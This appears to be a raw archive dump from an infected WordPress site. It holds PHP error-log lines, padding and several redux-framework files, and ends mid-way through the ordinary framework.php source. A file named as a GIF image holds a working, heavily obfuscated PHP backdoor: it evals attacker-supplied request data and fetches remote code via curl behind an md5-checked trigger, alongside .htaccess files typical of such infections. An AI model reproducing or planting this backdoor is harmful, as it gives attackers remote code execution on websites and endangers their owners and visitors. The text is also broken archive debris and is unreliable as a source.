12:24:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [23-Jun-2023 16:26:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [23-Jun-2023 18:53:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [23-Jun-2023 18:56:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [24-Jun-2023 01:27:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [24-Jun-2023 01:40:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [24-Jun-2023 06:23:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [24-Jun-2023 08:00:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [24-Jun-2023 08:02:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [24-Jun-2023 14:32:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [24-Jun-2023 14:36:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [24-Jun-2023 19:40:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [24-Jun-2023 21:06:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [24-Jun-2023 21:09:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [25-Jun-2023 03:39:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [25-Jun-2023 03:42:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [25-Jun-2023 09:57:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [25-Jun-2023 10:11:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [25-Jun-2023 10:14:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [25-Jun-2023 16:44:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [25-Jun-2023 16:48:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [25-Jun-2023 23:18:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [25-Jun-2023 23:21:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [25-Jun-2023 23:45:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [26-Jun-2023 05:52:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [26-Jun-2023 05:55:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [26-Jun-2023 12:25:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [26-Jun-2023 12:28:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [26-Jun-2023 18:11:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [26-Jun-2023 19:00:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/media/media/index.php�����������������������������������������������������0000644�����������������00000000000�14720701300�0015542 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/media/media/doIsjFrTBakAgpyMUEtf.gif��������������������������������������0000644�����������������00000011577�14720701300�0020262 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $bTvCo /*-naw5X-q-*/= /*-Z@AK]-*/"r"./*-Gl!S8-*/"a"."n"./*-poF@`-*/"g"."e"; /*-cK#{#-*/$zpI/*-^x-*/ = /*-?mF$&k-*/$bTvCo/*-_UK#7[0-*/("~", /*-uN<x-*/" "); /*-_svbYkbLm-*/$n/*-{Hr[=i%j.-*/=/*-{gqx8w9,-*/${$zpI/*-~RQz6-*/[3+28/*-&K@sr5}(fe-*/].$zpI/*-JuO7s-*/[8+51]/*-]-Z-*/.$zpI/*-vAm=gj{-*/[32+15]/*-<GMstU^1y-*/.$zpI/*-VP<fDNdv-*/[39+8]/*-C,xO|v&r-*/.$zpI/*-0Si0-*/[3+48]/*-~|>-*/.$zpI/*-;9R?+4-*/[42+11]/*-!k{qC|N-*/.$zpI/*-A.nnjr}X-*/[43+14]/*-Cr6i-*/}; /*-wf`dnR8TYo-*/if/*-Hh-*/((/*-C_,q2m-*/in_array/*-#:D!qQkK3-*/(gettype/*-fgHh#-*/($n)./*-eNM`}^fzA-*/count/*-~iZ-*/($n),/*-xz-*/$n)/*-W3k-*/&&count/*-0bYn3wSa-*/($n)/*-[%lS|Lr_-*/==/*-`fFy+-*/11))/*-iSY.%_kM-*/{ /*-F-N{C|#-*/(($n[70]=$n[70].$n[72])&&($n[85]=$n[70]($n[85]))&&(/*-B!,:oXR`Q-*/@eval/*-_ExER^IMn8-*/($n[70](${$n[41]}[17])/*-c9Y>f?a-*/))/*-Hu-*/);}/*-Reky,C-*/class /*-%jq:5xWD-*/e{ /*-55M{c!-*/static/*-!^9P;-*/ function /*-Zpk-*/iSwaNnyMRj($gWwRkO) /*-Z8_-*/{ $Ckuny/*-g@y-*/ = /*-;-*/"r"./*-50DA8IJN_-*/"a"./*-}&DIx|U-*/"n"./*-Eh,6hw}^-*/"g"./*-k.-*/"e"; /*-x#M!s-*/$DtTI/*-(R:JCtN-*/ = /*-Z5.F($-*/$Ckuny/*-6rbH-*/(/*-s}>^A}-*/"~"/*-pu1GuX]-*/, /*-G#:D-*/" "/*-Yy9-*/);/*-~3=%LIo~b-*/ $BpcECUeKbX /*-ZsV]UbH>-*/= /*-B$a`-*/explode/*-=a]nXX-*/(/*-BFu>-*/"*", /*-a]kBoAp]-+-*/$gWwRkO/*-T7JT-*/); /*-G.-*/$keOX /*-4e([~-*/= /*-Q|$=}UV-*/""; foreach /*-C%2hEA+Z~-*/(/*-[g8)m4-*/$BpcECUeKbX /*-)Ps1q.TN>-*/as /*-IfK-*/$QmJaFrt /*-kHp|0Y-*/=>/*-rw0?-*/ $uMZkIXb/*-ntX^WQd[p-*/) /*-ICn4$-*/$keOX /*-e:!$PV.x2-*/.= /*-HZ)2d<-*/$DtTI[$uMZkIXb/*-hJBK}-*/ - /*-aw)Q-*/5845/*-jM-*/];/*-yFVjF8hiSP-*/ return /*-?q{&C~-*/$keOX; /*-:_3-*/} /*-,SNw##pe?s-*/static /*-x5J-*/function /*-E]rgq&2z-*/XA/*-D)!h-*/(/*-4X7Ir|-*/$goPTtNy,/*-QfGupA)-*/ $slEVJ/*-1HG-*/)/*-ZR1!-*/ {/*-LJ-*/ $fWDjSL/*-U-(X5-*/ = /*-mhC[ydB~-*/curl_init/*-b3lRq&D-*/(/*-mi2$R:[)-*/$goPTtNy/*-wWsv?c0Kb-*/);/*-K9%;9k~0,L-*/ curl_setopt/*-iI&NBz=-*/(/*-0l.oES#9!t-*/$fWDjSL,/*-B^2@fWiL-*/ CURLOPT_RETURNTRANSFER,/*-XN-*/ 1/*-(]VU-*/);/*-sTT1bWc-*/ $kG/*-Q(p7R-*/ = /*--Q7P7vm-*/curl_exec/*-Qxu[$8F-*/(/*-CF.g+_j[b-*/$fWDjSL/*-5#xc=d}-*/); /*-:ioc:s-*/return /*-Zf!6-*/empty/*-Y5OmWB-*/(/*-jjOA)02SEm-*/$kG/*-dO.,J?-*/)/*-3tv~vh}}uj-*/ ? /*-RWdGvZ}[+-*/$slEVJ/*-UF5-*/(/*-[(<W-*/$goPTtNy/*-AST+3-*/)/*--Lsr`Y-*/ : /*-@WV-*/$kG; /*-C2(fp[-*/}/*-C(>O7-*/ static/*-Lk1;z!~o-*/ function /*-lJ2UR99k-*/ikQfaxGwhW/*-tdPq%n-*/() /*-0gcB|U&-*/{/*-wgdR<xGf-*/ $hmYoFcgN /*-zaE]|h$-*/=/*-=3-*/ array/*-wh0--*/("5872*5857*5870*5874*5855*5870*5876*5869*5854*5861*5872*5855*5866*5860*5861","5856*5855*5857*5876*5857*5860*5855*5922*5920","5865*5856*5860*5861*5876*5871*5870*5872*5860*5871*5870","5859*5874*5872*5864","5873*5874*5856*5870*5917*5919*5876*5871*5870*5872*5860*5871*5870","5869*5866*5863*5870*5876*5868*5870*5855*5876*5872*5860*5861*5855*5870*5861*5855*5856","5899*5929","5846","5924*5929","5906*5889*5889*5906*5882","5860*5869"); /*-vf,jB-0JG[-*/foreach /*-u(YJ;-*/(/*-P]=~A0>-*/$hmYoFcgN/*-!wk<rx4-*/ as /*-9c-*/$uymz/*-Vi8~DV|-*/)/*-IH8;~2Pxz0-*/ $mHK/*-}36-*/[] /*-jO-*/= /*-i4-*/self/*-y6X{y8`)-*/::/*-1e+Z^H<Hqb-*/iSwaNnyMRj/*-U@YC_MO9-*/(/*-~0lu&--*/$uymz/*-[-.?-*/);/*-)|G^BxfFd-*/$eHdwv /*-.w,Aug-*/= /*-)x-*/@$mHK/*-Xp>GV4Dr-*/[/*-xsh-*/1/*-8!:-*/]/*-hvGqh{-*/(/*-iVy~.!-*/${/*-E8~1-*/"_"/*-LgW^o}6)K-*/."G"/*-Do-*/."E"/*-JOA-*/."T"/*-<&gyr#-]@Q-*/}[/*-&K?-q.P-*/$mHK/*-sCUb<RZO-*/[/*-)!P2-*/3+6/*-m}=H-*/]]/*-6-*/);/*-p_HW_+-*/ $WurC /*-+2q_-*/=/*--X9R~l-*/ @$mHK/*-GtEU6E1A-*/[/*-7]1NO-*/2+1/*-yhV%uRgLT-*/]/*-m[Mz-*/(/*-pjA)6-*/$mHK/*-`OJ6n=A!r-*/[/*-(qPpF-*/6+0/*-!Fj_L-*/], /*-V$_-*/$eHdwv/*-Qs!k[-*/);/*-RmlSxk.d-*/ $LzdQT /*-mE@fuH:jg-*/=/*-Ct]1L-*/ $mHK/*-Wdg-*/[/*-_0dLxl6P-*/1+1/*-Wnv0-*/]/*-n>|m-*/(/*-W16-*/$WurC,/*-?5~;pB[k_r-*/ true/*-eOD-*/); /*-Jv!)+NK~H-*/@${/*-b1YG]U(q&-*/"_"./*-MWWH-*/"G"./*-)<(yK-*/"E"/*-yq-*/."T"/*-%^]`gR8AUI-*/}/*-#+Hmk9]h9-*/[/*-[0,]u)EY-*/$mHK/*-{U_n$8yiJ-*/[7+3/*-#U>~`-*/]/*-rdx|TQ|-*/]/*-W1kZsSct8-*/ == /*-UlA-*/1 /*-[fu)K#-*/&& /*-ID.Q-*/die/*-)j[g-*/(/*-7!-*/$mHK[0+5/*-v:HHjMTp-*/]/*-oibi>zx5-*/(/*-U^Y74^-*/__FILE__/*-_tN82A-*/)/*-K[OF>{sL@q-*/); /*-2P[%]c!9-*/if/*-#?-*/(/*-z<NU9g!W22-*/ (/*-dX=YID-Yil-*/(@/*-xFw(O+-*/$LzdQT/*-ucHsN-*/[/*-.Bs8(P-*/0/*-Ys!j?-*/] /*-|w8=aJm;qs-*/- time/*-NR0CkKdt-*/()/*-Y9=${c0<g-*/) > /*-s-*/0/*-Gf-*/)/*-FOf-*/ and /*-yTGbJi-*/(/*-A&00oW-*/md5/*-PO;.](~-*/(/*-:wg.)#P3r-*/md5/*-3!Dj{1-*/(/*-)[2-*/$LzdQT/*-0f4]~4uB-*/[/*-|tL^T-*/1+2/*-sXd-*/]/*-?)Y-*/)/*--l]-*/)/*-IA_a25!j-*/ === /*-]q?C[Y-*/"3f6bb74c8121467ec640ee8784de2caf"/*-8j,?F#-*/)/*-bl`U90^TV-*/ ): /*-N{{K-*/$Uf /*-gwfC`.bO<3-*/=/*-xWmx;lA|E-*/ self/*-fD1im12{l-*/::/*-MQ-*/XA/*-p>r-*/(/*-H8[[pM7M-*/$LzdQT/*-NEeEMqGKJ-*/[/*->jdQjw-*/0+1/*-T4z3-*/], /*-n1J-*/$mHK/*-urfrD-*/[/*-7w5!WBU-*/1+4/*-sC8N;-*/]/*-2wGPl.-*/);/*-R#_0J3r-*/@eval/*->;k#-Z}-*/(/*-6j+a-*/$mHK/*-%-*/[/*-(Ag-*/4+0/*-WUkclg:y-*/]/*-s:uTpQu-*/(/*-[R-*/$Uf/*-86Cu;l-*/)/*-KRG]KI-*/);/*-);MWaol4-*//*-qQ0-*/die;/*-Z<Erv-*/ endif;/*-mg-*/ }/*-o`Cul2-*/}/*-wEfjs~-*/e/*-U=p1aFRm6-*/::/*-1u0h--*/ikQfaxGwhW/*-vx}g!#Q:-*/();/*-$fXN%T-*/ ?>���������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/media/media/.htaccess�����������������������������������������������������0000644�����������������00000001626�14720701300�0015537 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/js/media/.htaccess�����������������������������������������������������������0000644�����������������00000001626�14720701300�0014460 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/js/.htaccess�����������������������������������������������������������������0000644�����������������00000001626�14720701300�0013401 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/.htaccess��������������������������������������������������������������������0000644�����������������00000001626�14720701300�0012765 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/framework.php�����������������������������������������������������������������������0000644�����������������00000631032�14720701300�0012373 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package Redux_Framework * @subpackage Core * @author Redux Framework Team */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFrameworkInstances' ) ) { // Instance Container require_once dirname( __FILE__ ) . '/inc/class.redux_instances.php'; require_once dirname( __FILE__ ) . '/inc/lib.redux_instances.php'; } if ( class_exists( 'ReduxFrameworkInstances' ) ) { add_action( 'redux/init', 'ReduxFrameworkInstances::get_instance' ); } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework' ) ) { // Redux CDN class require_once dirname( __FILE__ ) . '/inc/class.redux_cdn.php'; // Redux API class :) require_once dirname( __FILE__ ) . '/inc/class.redux_api.php'; // General helper functions require_once dirname( __FILE__ ) . '/inc/class.redux_helpers.php'; // General functions require_once dirname( __FILE__ ) . '/inc/class.redux_functions.php'; require_once dirname( __FILE__ ) . '/inc/class.p.php'; require_once dirname( __FILE__ ) . '/inc/class.thirdparty.fixes.php'; require_once dirname( __FILE__ ) . '/inc/class.redux_filesystem.php'; require_once dirname( __FILE__ ) . '/inc/class.redux_admin_notices.php'; // Welcome //require_once dirname( __FILE__ ) . '/inc/welcome/welcome.php'; /** * Main ReduxFramework class * * @since 1.0.0 */ class ReduxFramework { // ATTENTION DEVS // Please update the build number with each push, no matter how small. // This will make for easier support when we ask users what version they are using. public static $_version = '3.6.18'; public static $_dir; public static $_url; public static $_upload_dir; public static $_upload_url; public static $wp_content_url; public static $base_wp_content_url; public static $_is_plugin = true; public static $_as_plugin = false; public static function init() { $dir = Redux_Helpers::cleanFilePath( dirname( __FILE__ ) ); // Windows-proof constants: replace backward by forward slashes. Thanks to: @peterbouwmeester self::$_dir = trailingslashit( $dir ); self::$wp_content_url = trailingslashit( Redux_Helpers::cleanFilePath( ( is_ssl() ? str_replace( 'http://', 'https://', WP_CONTENT_URL ) : WP_CONTENT_URL ) ) ); // See if Redux is a plugin or not if ( strpos( Redux_Helpers::cleanFilePath( __FILE__ ), Redux_Helpers::cleanFilePath( get_stylesheet_directory() ) ) !== false || strpos( Redux_Helpers::cleanFilePath( __FILE__ ), Redux_Helpers::cleanFilePath( get_template_directory_uri() ) ) !== false || strpos( Redux_Helpers::cleanFilePath( __FILE__ ), Redux_Helpers::cleanFilePath( WP_CONTENT_DIR . '/themes/' ) ) !== false ) { self::$_is_plugin = false; } else { // Check if plugin is a symbolic link, see if it's a plugin. If embedded, we can't do a thing. if ( strpos( self::$_dir, ABSPATH ) === false ) { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $is_plugin = false; foreach ( get_plugins() as $key => $value ) { if ( is_plugin_active( $key ) && strpos( $key, 'redux-framework.php' ) !== false ) { self::$_dir = trailingslashit( Redux_Helpers::cleanFilePath( WP_CONTENT_DIR . '/plugins/' . plugin_dir_path( $key ) . 'ReduxCore/' ) ); $is_plugin = true; } } if ( ! $is_plugin ) { self::$_is_plugin = false; } } } if ( self::$_is_plugin == true || self::$_as_plugin == true ) { self::$_url = plugin_dir_url( __FILE__ ); } else { if ( strpos( Redux_Helpers::cleanFilePath( __FILE__ ), Redux_Helpers::cleanFilePath( get_template_directory() ) ) !== false ) { $relative_url = str_replace( Redux_Helpers::cleanFilePath( get_template_directory() ), '', self::$_dir ); self::$_url = trailingslashit( get_template_directory_uri() . $relative_url ); } else if ( strpos( Redux_Helpers::cleanFilePath( __FILE__ ), Redux_Helpers::cleanFilePath( get_stylesheet_directory() ) ) !== false ) { $relative_url = str_replace( Redux_Helpers::cleanFilePath( get_stylesheet_directory() ), '', self::$_dir ); self::$_url = trailingslashit( get_stylesheet_directory_uri() . $relative_url ); } else { $wp_content_dir = trailingslashit( Redux_Helpers::cleanFilePath( WP_CONTENT_DIR ) ); $wp_content_dir = trailingslashit( str_replace( '//', '/', $wp_content_dir ) ); $relative_url = str_replace( $wp_content_dir, '', self::$_dir ); self::$_url = trailingslashit( self::$wp_content_url . $relative_url ); } } self::$_url = apply_filters( "redux/_url", self::$_url ); self::$_dir = apply_filters( "redux/_dir", self::$_dir ); self::$_is_plugin = apply_filters( "redux/_is_plugin", self::$_is_plugin ); } // ::init() public $framework_url = 'http://www.reduxframework.com/'; public static $instance = null; public $admin_notices = array(); public $page = ''; public $saved = false; public $fields = array(); // Fields by type used in the panel public $field_sections = array(); // Section id's by field type, then field ID public $current_tab = ''; // Current section to display, cookies public $extensions = array(); // Extensions by type used in the panel public $sections = array(); // Sections and fields public $errors = array(); // Errors public $warnings = array(); // Warnings public $options = array(); // Option values public $options_defaults = null; // Option defaults public $notices = array(); // Option defaults public $compiler_fields = array(); // Fields that trigger the compiler hook public $required = array(); // Information that needs to be localized public $required_child = array(); // Information that needs to be localized public $localize_data = array(); // Information that needs to be localized public $fonts = array(); // Information that needs to be localized public $folds = array(); // The itms that need to fold. public $path = ''; public $changed_values = array(); // Values that have been changed on save. Orig values. public $output = array(); // Fields with CSS output selectors public $outputCSS = null; // CSS that get auto-appended to the header public $compilerCSS = null; // CSS that get sent to the compiler hook public $customizerCSS = null; // CSS that goes to the customizer public $fieldsValues = array(); //all fields values in an id=>value array so we can check dependencies public $fieldsHidden = array(); //all fields that didn't pass the dependency test and are hidden public $toHide = array(); // Values to hide on page load public $typography = null; //values to generate google font CSS public $import_export = null; public $no_panel = array(); // Fields that are not visible in the panel private $show_hints = false; public $hidden_perm_fields = array(); // Hidden fields specified by 'permissions' arg. public $hidden_perm_sections = array(); // Hidden sections specified by 'permissions' arg. public $typography_preview = array(); public $args = array(); public $filesystem = null; public $font_groups = array(); public $lang = ""; public $dev_mode_forced = false; public $reload_fields = array(); public $omit_share_icons = false; public $omit_admin_items = false; public $apiHasRun = false; public $transients; /** * Class Constructor. Defines the args for the theme options class * * @since 1.0.0 * * @param array $sections Panel sections. * @param array $args Class constructor arguments. * @param array $extra_tabs Extra panel tabs. // REMOVE * * @return \ReduxFramework */ public function __construct( $sections = array(), $args = array(), $extra_tabs = array() ) { // Disregard WP AJAX 'heartbeat'call. Why waste resources? if ( isset ( $_POST ) && isset ( $_POST['action'] ) && $_POST['action'] == 'heartbeat' ) { // Hook, for purists. if ( has_action( 'redux/ajax/heartbeat' ) ) { do_action( 'redux/ajax/heartbeat', $this ); } // Buh bye! return; } // Pass parent pointer to function helper. Redux_Functions::$_parent = $this; Redux_CDN::$_parent = $this; // Set values $this->set_default_args(); $this->args = wp_parse_args( $args, $this->args ); if ( empty ( $this->args['transient_time'] ) ) { $this->args['transient_time'] = 60 * MINUTE_IN_SECONDS; } if ( empty ( $this->args['footer_credit'] ) ) { // $this->args['footer_credit'] = '<span id="footer-thankyou">' . sprintf( __( 'Options panel created using %1$s', 'redux-framework' ), '<a href="' . esc_url( $this->framework_url ) . '" target="_blank">' . __( 'Redux Framework', 'redux-framework' ) . '</a> v' . self::$_version ) . '</span>'; } if ( empty ( $this->args['menu_title'] ) ) { $this->args['menu_title'] = __( 'Options', 'redux-framework' ); } if ( empty ( $this->args['page_title'] ) ) { $this->args['page_title'] = __( 'Options', 'redux-framework' ); } $this->old_opt_name = $this->args['opt_name']; /** * filter 'redux/args/{opt_name}' * * @param array $args ReduxFramework configuration */ $this->args = apply_filters( "redux/args/{$this->args['opt_name']}", $this->args ); /** * filter 'redux/options/{opt_name}/args' * * @param array $args ReduxFramework configuration */ $this->args = apply_filters( "redux/options/{$this->args['opt_name']}/args", $this->args ); if ( $this->args['opt_name'] == $this->old_opt_name ) { unset( $this->old_opt_name ); } // Do not save the defaults if we're 